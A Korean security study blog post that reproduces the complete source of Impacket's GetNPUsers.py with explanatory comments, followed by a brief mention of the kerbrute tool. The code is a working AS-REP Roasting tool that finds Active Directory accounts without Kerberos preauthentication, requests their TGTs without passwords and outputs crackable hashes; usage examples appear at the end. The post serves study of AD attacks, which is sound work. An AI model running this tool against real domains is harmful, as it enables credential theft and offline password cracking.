Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 |
Tags
- injection
- 풀이
- dreamhack
- 포렌식
- 스터디
- WHS
- 자라나는 새싹
- Programmers
- 백준
- 인프런
- 웹해킹
- 프로그래머스
- WarGame
- XSS
- 워게임
- 자라나는새싹
- CSRF
- 알고리즘
- Python
- Web
- command
- 파이썬
- 문제풀이
- 드림핵
- c
- BaekJoon
- hacking
- Algorithm
- C언어
- 디지털 포렌식
Archives
- Today
- Total
Hoin's security
AD 툴 이해- GetNPUsers.py 본문
https://github.com/fortra/impacket
GitHub - fortra/impacket: Impacket is a collection of Python classes for working with network protocols.
Impacket is a collection of Python classes for working with network protocols. - fortra/impacket
github.com
앞서 AD공격 실습에서 사용한 impacket중 하나인 GetNPUsers.py에 대해 코드 이해를 해보겠다.
#!/usr/bin/env python # 스크립트가 파이썬 인터프리터를 사용하여 실행될 수 있도록 함.
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright (C) 2023 Fortra. All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#impacket은 네트워크 프로토콜 작업을 위한 Python 클래스 모음. 위 내용은 저작권 관련한 주석.
# Description:
# This script will attempt to list and get TGTs for those users that have the property
# 'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH).
# For those users with such configuration, a John The Ripper output will be generated so
# you can send it for cracking.
#커버로스 사전인증 필요없음 속성이 설정된 사용자의 TGT를 나열하고 가져오려고 시도함. 이 설정이 되어있는 사용자에대해 John The Ripper 출력이 되어 해독을 위해 전송될 수 있음.
# Original credit for this technique goes to @harmj0y:
# https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/
# Related work by Geoff Janjua:
# https://www.exumbraops.com/layerone2016/party
#저작권 관련
# For usage instructions run the script with no parameters.
#사용방법은 매개변수 없이 스크립트를 실행하면 표시됨.
# Author:
# Alberto Solino (@agsolino)
#작성자 정보
from __future__ import division
from __future__ import print_function
#python2와 호환성을 위해 division 및 print_function 모듈 가져옴.
import argparse
import datetime
import logging
import random
import sys
from binascii import hexlify
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from impacket import version
from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH
from impacket.examples import logger
from impacket.examples.utils import parse_credentials
from impacket.krb5 import constants
from impacket.krb5.asn1 import AS_REQ, KERB_PA_PAC_REQUEST, KRB_ERROR, AS_REP, seq_set, seq_set_iter
from impacket.krb5.kerberosv5 import sendReceive, KerberosError
from impacket.krb5.types import KerberosTime, Principal
from impacket.ldap import ldap, ldapasn1
from impacket.smbconnection import SMBConnection, SessionError
#필요한 모듈 및 라이브러리를 불러옴.
class GetUserNoPreAuth: # GetUserNoPreAuth클래스 정의. 사용자의 TGT를 가져오고 처리하는데 사용.
@staticmethod
def printTable(items, header): # 테이블 형식으로 데이터 출력.
colLen = []
for i, col in enumerate(header):
rowMaxLen = max([len(row[i]) for row in items])
colLen.append(max(rowMaxLen, len(col)))
# 열 너비 결정하기 위해 최대 길이 계산.
outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)])
#테이블 출력형식 생성. 각 열 너비에 따라 포맷 문자열 생성.
# Print header
print(outputFormat.format(*header))
print(' '.join(['-' * itemLen for itemLen in colLen]))
# 헤더 출력 및 각 열의 너비에 맞추어 구분선 출력.
# And now the rows
for row in items:
print(outputFormat.format(*row))
#각 행 데이터 출력.
def __init__(self, username, password, domain, cmdLineOptions):
#GetUserNoPreAuth의 생성자. 사용자 이름, 비밀번호, 도메인 및 명령줄 옵션을 받음.
self.__username = username
self.__password = password
self.__domain = domain
self.__target = None
self.__lmhash = ''
self.__nthash = ''
self.__no_pass = cmdLineOptions.no_pass
self.__outputFileName = cmdLineOptions.outputfile
self.__outputFormat = cmdLineOptions.format
self.__usersFile = cmdLineOptions.usersfile
self.__aesKey = cmdLineOptions.aesKey
self.__doKerberos = cmdLineOptions.k
self.__requestTGT = cmdLineOptions.request
#[!] in this script the value of -dc-ip option is self.__kdcIP and the value of -dc-host option is self.__kdcHost
self.__kdcIP = cmdLineOptions.dc_ip
self.__kdcHost = cmdLineOptions.dc_host
if cmdLineOptions.hashes is not None:
self.__lmhash, self.__nthash = cmdLineOptions.hashes.split(':')
# 명령줄 옵션에서 NTLM 해시를 가져와 LM 해시와 NT 해시로 분할하여 설정.
# Create the baseDN
domainParts = self.__domain.split('.')
self.baseDN = ''
for i in domainParts:
self.baseDN += 'dc=%s,' % i
# Remove last ','
self.baseDN = self.baseDN[:-1]
#LDAP 서버에서 사용할 base DN을 생성.
#도메인 이름을 "."으로 구분하여 각 요소를 "dc=도메인요소," 형식으로 조합하고 마지막 ","를 제거하여 설정
def getMachineName(self, target):
#목표 서버의 컴퓨터 이름을 가져오는 역할
try:
s = SMBConnection(target, target)
s.login('', '')
except OSError as e:
if str(e).find('timed out') > 0:
raise Exception('The connection is timed out. Probably 445/TCP port is closed. Try to specify '
'corresponding NetBIOS name or FQDN as the value of the -dc-host option')
else:
raise
except SessionError as e:
if str(e).find('STATUS_NOT_SUPPORTED') > 0:
raise Exception('The SMB request is not supported. Probably NTLM is disabled. Try to specify '
'corresponding NetBIOS name or FQDN as the value of the -dc-host option')
else:
raise
except Exception:
if s.getServerName() == '':
raise Exception('Error while anonymous logging into %s' % target)
else:
s.logoff()
#SMB 연결을 통해 목표 서버의 컴퓨터 이름 가져오기 시도.
return s.getServerName()
# 이름 가져오기 성공시 반환.
@staticmethod
def getUnixTime(t):
#유닉스 시간을 윈도우 시간으로 변환.
t -= 116444736000000000
t /= 10000000
return t
#1601년 1월 1일부터의 유닉스 시간을 유닉스 시간에서 Windows 시간으로 변환하기 위한 보정값을 적용.
def getTGT(self, userName, requestPAC=True):
#지정된 사용자의 TGT를 가져오는 역할.
#requestPAC 매개변수는 PAC(Privilege Attribute Certificate)를 요청 여부 결정.
clientName = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
#클라이언트의 주체 이름을 설정. NT_PRINCIPAL 주체 유형을 사용.
asReq = AS_REQ()
#AS 요청(AS_REQ) 객체를 생성.
domain = self.__domain.upper()
serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
#도메인을 대문자로 변환하여 설정하고, 서버 이름을 설정함.
# KDC(Key Distribution Center)에서 사용되는 krbtgt 주체를 사용.
pacRequest = KERB_PA_PAC_REQUEST()
pacRequest['include-pac'] = requestPAC
encodedPacRequest = encoder.encode(pacRequest)
#AC 요청 객체를 생성하고, include-pac 속성을 설정하여 PAC를 요청할지 여부를 결정하고 인코딩.
asReq['pvno'] = 5
asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)
asReq['padata'] = noValue
asReq['padata'][0] = noValue
asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
asReq['padata'][0]['padata-value'] = encodedPacRequest
#AS 요청 객체의 필드 설정. padata 필드에 PAC 요청을 추가
reqBody = seq_set(asReq, 'req-body')
#AS 요청의 본문 부분을 설정.
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.proxiable.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
#AS 요청에 대한 옵션을 설정. 전달 가능(forwardable), 갱신 가능(renewable), 대리 가능(proxiable)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
seq_set(reqBody, 'cname', clientName.components_to_asn1)
#서버 이름과 클라이언트 이름을 설정.
if domain == '':
raise Exception('Empty Domain not allowed in Kerberos')
#도메인이 비어 있으면 예외 발생.
reqBody['realm'] = domain
#요청 본문에 도메인을 설정.
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['rtime'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
#현재 시간을 가져와 유효 시간과 재생 시간을 설정하고, 무작위 nonce 값을 생성하여 설정.
supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)
seq_set_iter(reqBody, 'etype', supportedCiphers)
#지원하는 암호화 유형을 설정. RC4-HMAC을 사용.
message = encoder.encode(asReq)
#AS 요청 메시지를 인코딩.
try:
r = sendReceive(message, domain, self.__kdcIP)
#AS 요청 메시지를 KDC로 보내고 응답 수신.
except KerberosError as e:
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# RC4 not available, OK, let's ask for newer types
supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),)
seq_set_iter(reqBody, 'etype', supportedCiphers)
message = encoder.encode(asReq)
r = sendReceive(message, domain, self.__kdcIP)
else:
raise e
#암호화 유형이 지원되지 않을 경우, AES 암호화 유형으로 다시 요청.
# This should be the PREAUTH_FAILED packet or the actual TGT if the target principal has the
# 'Do not require Kerberos preauthentication' set
try:
asRep = decoder.decode(r, asn1Spec=KRB_ERROR())[0]
except:
# Most of the times we shouldn't be here, is this a TGT?
asRep = decoder.decode(r, asn1Spec=AS_REP())[0]
else:
# The user doesn't have UF_DONT_REQUIRE_PREAUTH set
raise Exception('User %s doesn\'t have UF_DONT_REQUIRE_PREAUTH set' % userName)
#수신된 응답을 디코딩하여 AS 응답 객체 얻음. UF_DONT_REQUIRE_PREAUTH 속성이 설정되지 않은 경우 예외 발생.
# Let's output the TGT enc-part/cipher in John format, in case somebody wants to use it.
if self.__outputFormat == 'john':
# Check what type of encryption is used for the enc-part data
# This will inform how the hash output needs to be formatted
if asRep['enc-part']['etype'] == 17 or asRep['enc-part']['etype'] == 18:
return '$krb5asrep$%d$%s%s$%s$%s' % (asRep['enc-part']['etype'], domain, clientName,
hexlify(asRep['enc-part']['cipher'].asOctets()[:-12]).decode(),
hexlify(asRep['enc-part']['cipher'].asOctets()[-12:]).decode())
else:
return '$krb5asrep$%s@%s:%s$%s' % (clientName, domain,
hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(),
hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())
#출력형식이 john인 경우 암호화 부분을 John 형식으로 출력.
# Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it.
else:
# Check what type of encryption is used for the enc-part data
# This will inform how the hash output needs to be formatted
if asRep['enc-part']['etype'] == 17 or asRep['enc-part']['etype'] == 18:
return '$krb5asrep$%d$%s$%s$%s$%s' % (asRep['enc-part']['etype'], clientName, domain,
hexlify(asRep['enc-part']['cipher'].asOctets()[-12:]).decode(),
hexlify(asRep['enc-part']['cipher'].asOctets()[:-12]).decode())
else:
return '$krb5asrep$%d$%s@%s:%s$%s' % (asRep['enc-part']['etype'], clientName, domain,
hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(),
hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())
#그렇지 않은 즉, hashcat 형식인 경우 암호화 부분을 Hashcat 형식으로 출력.
@staticmethod
def outputTGT(entry, fd=None):
print(entry)
if fd is not None:
fd.write(entry + '\n')
#TGT를 출력하는 정적 메소드. 파일 디스크립터(fd)가 주어지면 파일에 쓰고, 그렇지 않으면 표준 출력에 출력.
def run(self):
if self.__usersFile:
self.request_users_file_TGTs()
return
#run 메소드는 실행을 시작.
#만약 사용자 파일이 지정된 경우에는 request_users_file_TGTs 메소드를 호출하고 반환.
if self.__kdcHost is not None:
self.__target = self.__kdcHost
else:
if self.__kdcIP is not None:
self.__target = self.__kdcIP
else:
self.__target = self.__domain
if self.__doKerberos:
logging.info('Getting machine hostname')
self.__target = self.getMachineName(self.__target)
# KDC 호스트가 지정된 경우에는 해당 호스트를 타겟으로 설정.
#그렇지 않은 경우에는 KDC IP가 지정된 경우에는 해당 IP를 타겟으로 설정.
#그렇지 않으면 도메인을 타겟으로 설정.
#만약 Kerberos 인증이 수행되어야 하는 경우에는 기계의 호스트 이름을 가져옴.
# Are we asked not to supply a password?
if self.__doKerberos is False and self.__no_pass is True:
# Yes, just ask the TGT and exit
logging.info('Getting TGT for %s' % self.__username)
entry = self.getTGT(self.__username)
self.outputTGT(entry, None)
return
#만약 Kerberos 인증이 비활성화되어 있고, 패스워드를 제공하지 않는 옵션이 설정되어 있는 경우, 사용자의 TGT를 요청하고 종료.
# Connect to LDAP
#LDAP에 연결
try:
ldapConnection = ldap.LDAPConnection('ldap://%s' % self.__target, self.baseDN, self.__kdcIP)
if self.__doKerberos is not True:
ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, kdcHost=self.__kdcIP)
except ldap.LDAPSessionError as e:
if str(e).find('strongerAuthRequired') >= 0:
# We need to try SSL
ldapConnection = ldap.LDAPConnection('ldaps://%s' % self.__target, self.baseDN, self.__kdcIP)
if self.__doKerberos is not True:
ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, kdcHost=self.__kdcIP)
else:
# Cannot authenticate, we will try to get this users' TGT (hoping it has PreAuth disabled)
logging.info('Cannot authenticate %s, getting its TGT' % self.__username)
entry = self.getTGT(self.__username)
self.outputTGT(entry, None)
return
#만약 Kerberos 인증이 비활성화되어 있지 않은 경우, 사용자 자격 증명으로 로그인을 시도.
#그렇지 않은 경우, Kerberos 로그인을 시도.
#인증에 실패한 경우, 사용자의 TGT를 요청하여 출력하고 종료.
# Building the search filter
searchFilter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \
"(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \
(UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)
#검색 필터를 설정.
#UF_DONT_REQUIRE_PREAUTH 속성이 설정된 사용자 및 컴퓨터 카테고리가 아닌 사용자를 검색.
try:
logging.debug('Search Filter=%s' % searchFilter)
resp = ldapConnection.search(searchFilter=searchFilter,
attributes=['sAMAccountName',
'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
sizeLimit=999)
except ldap.LDAPSearchError as e:
if e.getErrorString().find('sizeLimitExceeded') >= 0:
logging.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
pass
else:
if str(e).find('NTLMAuthNegotiate') >= 0:
logging.critical("NTLM negotiation failed. Probably NTLM is disabled. Try to use Kerberos "
"authentication instead.")
else:
if self.__kdcIP is not None and self.__kdcHost is not None:
logging.critical("If the credentials are valid, check the hostname and IP address of KDC. They "
"must match exactly each other")
raise
#LDAP 검색을 수행. 검색 결과를 처리하는 동안 발생할 수 있는 예외를 처리.
#검색이 크기 제한에 도달하면 예외가 발생하고, 현재까지 수집된 응답을 처리한 후 종료.
#이외의 예외는 처리되고, NTLM 네고시에이션에 실패한 경우와 관련된 메시지가 출력.
answers = []
logging.debug('Total of records returned %d' % len(resp))
for item in resp:
if isinstance(item, ldapasn1.SearchResultEntry) is not True:
continue
mustCommit = False
sAMAccountName = ''
memberOf = ''
pwdLastSet = ''
userAccountControl = 0
lastLogon = 'N/A'
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'sAMAccountName':
sAMAccountName = str(attribute['vals'][0])
mustCommit = True
elif str(attribute['type']) == 'userAccountControl':
userAccountControl = "0x%x" % int(attribute['vals'][0])
elif str(attribute['type']) == 'memberOf':
memberOf = str(attribute['vals'][0])
elif str(attribute['type']) == 'pwdLastSet':
if str(attribute['vals'][0]) == '0':
pwdLastSet = '<never>'
else:
pwdLastSet = str(datetime.datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif str(attribute['type']) == 'lastLogon':
if str(attribute['vals'][0]) == '0':
lastLogon = '<never>'
else:
lastLogon = str(datetime.datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
if mustCommit is True:
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error('Skipping item, cannot process due to error %s' % str(e))
pass
if len(answers)>0:
self.printTable(answers, header=[ "Name", "MemberOf", "PasswordLastSet", "LastLogon", "UAC"])
print('\n\n')
if self.__requestTGT is True:
usernames = [answer[0] for answer in answers]
self.request_multiple_TGTs(usernames)
else:
print("No entries found!")
#LDAP 검색 결과를 처리하고 출력.
#각 항목의 속성을 분석하여 사용자 이름, 그룹 멤버십, 패스워드 설정 시간, 마지막 로그온 시간 및 사용자 계정 제어를 추출.
#결과가 있으면 테이블 형식으로 출력하고, TGT 요청 옵션이 설정된 경우 사용자들의 TGT를 요청. 결과가 없으면 "No entries found!" 메시지를 출력.
def request_users_file_TGTs(self):
#사용자가 지정한 파일에서 사용자 이름 목록을 읽어와서 TGT를 요청하는 함수인 request_users_file_TGTs를 정의.
with open(self.__usersFile) as fi:
usernames = [line.strip() for line in fi]
self.request_multiple_TGTs(usernames)
#파일을 열고 각 줄에서 사용자 이름을 읽어와서 request_multiple_TGTs 함수를 호출.
def request_multiple_TGTs(self, usernames):
#여러 사용자의 TGT를 요청하는 함수인 request_multiple_TGTs를 정의.
if self.__outputFileName is not None:
fd = open(self.__outputFileName, 'w+')
else:
fd = None
for username in usernames:
try:
entry = self.getTGT(username)
self.outputTGT(entry, fd)
except Exception as e:
logging.error('%s' % str(e))
#출력 파일 이름이 지정된 경우 파일을 열고, 각 사용자에 대해 getTGT 함수를 호출하여 TGT를 요청하고, 결과를 출력 파일에 기록.
#예외가 발생하면 해당 예외 메시지를 로깅.
if fd is not None:
fd.close()
#출력 파일이 지정된 경우 파일닫음.
# Process command-line arguments.
if __name__ == '__main__':
print(version.BANNER)
parser = argparse.ArgumentParser(add_help = True, description = "Queries target domain for users with "
"'Do not require Kerberos preauthentication' set and export their TGTs for cracking")
#argparse 모듈을 사용하여 명령줄 인수를 처리. 스크립트의 사용법과 각 옵션에 대한 설명이 포함된 인수 구문 분석기를 설정.
parser.add_argument('target', action='store', help='[[domain/]username[:password]]')
parser.add_argument('-request', action='store_true', default=False, help='Requests TGT for users and output them '
'in JtR/hashcat format (default False)')
parser.add_argument('-outputfile', action='store',
help='Output filename to write ciphers in JtR/hashcat format')
parser.add_argument('-format', choices=['hashcat', 'john'], default='hashcat',
help='format to save the AS_REQ of users without pre-authentication. Default is hashcat')
parser.add_argument('-usersfile', help='File with user per line to test')
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
#스크립트가 실행될 때, 사용자에게 도움말과 함께 명령어 사용법을 출력.
group = parser.add_argument_group('authentication')# 인증 및 연결 옵션 그룹 생성
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials '
'cannot be found, it will use the ones specified in the command '
'line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group = parser.add_argument_group('connection')
group.add_argument('-dc-ip', action='store', metavar='ip address', help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) '
'specified in the target parameter')
group.add_argument('-dc-host', action='store', metavar='hostname', help='Hostname of the domain controller to use. '
'If ommited, the domain part (FQDN) '
'specified in the account parameter will be used')
if len(sys.argv)==1:
parser.print_help()
print("\nThere are a few modes for using this script")
print("\n1. Get a TGT for a user:")
print("\n\tGetNPUsers.py contoso.com/john.doe -no-pass")
print("\nFor this operation you don\'t need john.doe\'s password. It is important tho, to specify -no-pass in the script, "
"\notherwise a badpwdcount entry will be added to the user")
print("\n2. Get a list of users with UF_DONT_REQUIRE_PREAUTH set")
print("\n\tGetNPUsers.py contoso.com/emily:password or GetNPUsers.py contoso.com/emily")
print("\nThis will list all the users in the contoso.com domain that have UF_DONT_REQUIRE_PREAUTH set. \nHowever "
"it will require you to have emily\'s password. (If you don\'t specify it, it will be asked by the script)")
print("\n3. Request TGTs for all users")
print("\n\tGetNPUsers.py contoso.com/emily:password -request or GetNPUsers.py contoso.com/emily")
print("\n4. Request TGTs for users in a file")
print("\n\tGetNPUsers.py -no-pass -usersfile users.txt contoso.com/")
print("\nFor this operation you don\'t need credentials.")
sys.exit(1)
# 인수가 없는 경우 도움말을 출력하고 사용법을 설명.
options = parser.parse_args()# 명령줄 인수를 파싱하고 옵션을 설정.
# Init the example's logger theme
logger.init(options.ts) # 로깅을 위해 logger를 초기화.
if options.debug is True: # 디버그 모드가 활성화된 경우 로깅 수준을 DEBUG로 설정.
logging.getLogger().setLevel(logging.DEBUG)
# Print the Library's installation path
logging.debug(version.getInstallationPath())
else:
logging.getLogger().setLevel(logging.INFO)
domain, username, password = parse_credentials(options.target)
if domain == '':
logging.critical('Domain should be specified!')
sys.exit(1)
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
if options.k is False and options.no_pass is True and username == '' and options.usersfile is None:
logging.critical('If the -no-pass option was specified, but Kerberos (-k) is not used, then a username or the -usersfile option should be specified!')
sys.exit(1)
if options.outputfile is not None:
options.request = True
try:
executer = GetUserNoPreAuth(username, password, domain, options)
executer.run()
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.error(str(e))
-> 전체 코드+ 이해 설명 주석.
kerbrute
Kerbrute는 Active Directory에서 사용 가능한 사용자 계정 목록을 수집하거나 나열하는데 사용되는 도구이다. 패스워드 브루트포스, 사용자 이름 나열, 패스워드 스프레이등과 같은 암호공격에 사용될 수 있다.
위 도구를 사용하기 위해 Go언어를 다운받고 impacket GetNPUsers.py를 다운받아 실습을 진행하였다.
'스터디 > Active Directory' 카테고리의 다른 글
AD 공격실습 (AS-REP Roasting)-2 (0) | 2024.02.11 |
---|---|
AD 공격실습 (AS-REP Roasting)-1 (0) | 2024.02.02 |
AD 용어 정리 (0) | 2024.01.28 |
AD 실습환경 세팅 (0) | 2024.01.28 |